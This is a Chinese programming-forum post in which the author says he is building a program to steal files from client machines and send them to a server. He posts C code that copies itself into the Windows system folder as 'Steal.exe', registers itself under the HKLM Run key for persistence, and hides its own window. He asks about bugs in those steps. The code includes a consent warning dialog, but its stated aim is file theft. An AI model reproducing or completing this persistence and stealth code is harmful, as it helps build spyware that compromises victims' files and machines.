| 网站首页 | 业界新闻 | 小组 | 威客 | 人才 | 下载频道 | 博客 | 代码贴 | 在线编程 | 编程论坛
欢迎加入我们,一同切磋技术
用户名:   
 
密 码:  
共有 547 人关注过本帖
标题:今天运行了一个程序,浪费了很多时间
只看楼主 加入收藏
后卿
Rank: 4
来 自:网络
等 级:业余侠客
威 望:1
帖 子:302
专家分:295
注 册:2016-10-22
结帖率:81.71%
收藏
 问题点数:0 回复次数:0 
今天运行了一个程序,浪费了很多时间
事情是这样的,我想写一个窃取客户端文件,发送给服务器的程序,接发文件都写好了,但是卡在了
隐藏自身(程序运行时不可见)和将客户端程序写入注册表启动项两步
在这两步里遇到了两个巨大的错误
1.
写入启动项代码
程序代码:
void AddToSystem()
{
HKEY hKEY;
char CurrentPath[ MAX_PATH ];
char SysPath[ MAX_PATH ];
long ret = 0;
LPSTR FileNewName;
LPSTR FileCurrentName;
DWORD type = REG_SZ ;
DWORD size = MAX_PATH ;
LPCTSTR Rgspath = "Software\\Microsoft\\Windows\\CurrentVersion\\Run"; //regedit
win + R
GetSystemDirectory (SysPath, size);
GetModuleFileName ( NULL , CurrentPath, size);
//Copy File
FileCurrentName = CurrentPath;
FileNewName = lstrcat (SysPath, "\\Steal.exe");
struct _finddata_t Steal;
printf ("ret1 = %d,FileNewName = %s\n", ret, FileNewName);
if ( _findfirst (FileNewName, &Steal) != -1)
return;//已经安装!
printf ("ret2 = %d\n", ret);
int ihow = MessageBox (0, "该程序只允许用于合法的用途!\n 继续运行该程序将使这台机器
处于被监控的状态!\n 如果您不想这样,请按“取消”按钮退出。\n 按下“是”按钮该程序将被复制
到您的机器上,并随系统启动自动运行。\n 按下“否”按钮,程序只运行一次,不会在您的系统内留下
任何东西。", "警告", MB_YESNOCANCEL | MB_ICONWARNING | MB_TOPMOST );
if (ihow == IDCANCEL )
exit (0);
if (ihow == IDNO )
return;//只运行一次
//复制文件
ret = CopyFile (FileCurrentName, FileNewName, TRUE );
if (!ret)
{
return;
}
//加入注册表
printf ("ret = %d\n", ret);
ret = RegOpenKeyEx ( HKEY_LOCAL_MACHINE , Rgspath, 0, KEY_WRITE , &hKEY);
if (ret != ERROR_SUCCESS )
{
RegCloseKey (hKEY);
return;
}
//Set Key
ret = RegSetValueEx (hKEY, "Steal", NULL , type, (const unsigned char*)FileNewName,
size);
if (ret != ERROR_SUCCESS )
{
RegCloseKey (hKEY);
return;
}
RegCloseKey (hKEY);
}

第一个错误
当第一次成功运行后,我想再做一次测试,即重新生成新的exe文件,但是因为有这几行代码的存在
程序代码:
FileCurrentName = CurrentPath;
FileNewName = lstrcat (SysPath, "\\Steal.exe");
struct _finddata_t Steal;
printf ("ret1 = %d,FileNewName = %s\n", ret, FileNewName);
if ( _findfirst (FileNewName, &Steal) != -1)
return;/

所以我必须要删除掉它在系统文件夹下生成的steal.exe,删除后,重新生成代码,发现已经生成不了了,
总是报无法访问指定文件夹,错误提示是对路径“xxcx"访问被拒绝,当我把代码copy到一个新的工程,
又可以成功生成了,貌似这程序只能生成一次,第二次就不能再生成了,太坑了,这个错误找了好久,一直在想是不是代码错了,真的是被狠狠的上了一课,非必要就不要玩这种高操作。
2.第二个错误
这个隐藏自身代码,也不好用,运行后,没有成功隐藏,还是会又黑框一闪而过,没有做到完全隐藏自身
程序代码:
void HideMyself()
{
    HWND hwnd = GetForegroundWindow();
    ShowWindow(hwnd, SW_HIDE);
}

实在是太难了,代码均来自网络

[此贴子已经被作者于2023-5-22 12:35编辑过]

搜索更多相关主题的帖子: 生成 ret return 运行 代码 
2023-05-22 12:08
快速回复:今天运行了一个程序,浪费了很多时间
数据加载中...
 
   



关于我们 | 广告合作 | 编程中国 | 清除Cookies | TOP | 手机版

编程中国 版权所有,并保留所有权利。
Powered by Discuz, Processed in 0.024949 second(s), 8 queries.
Copyright©2004-2024, BCCN.NET, All Rights Reserved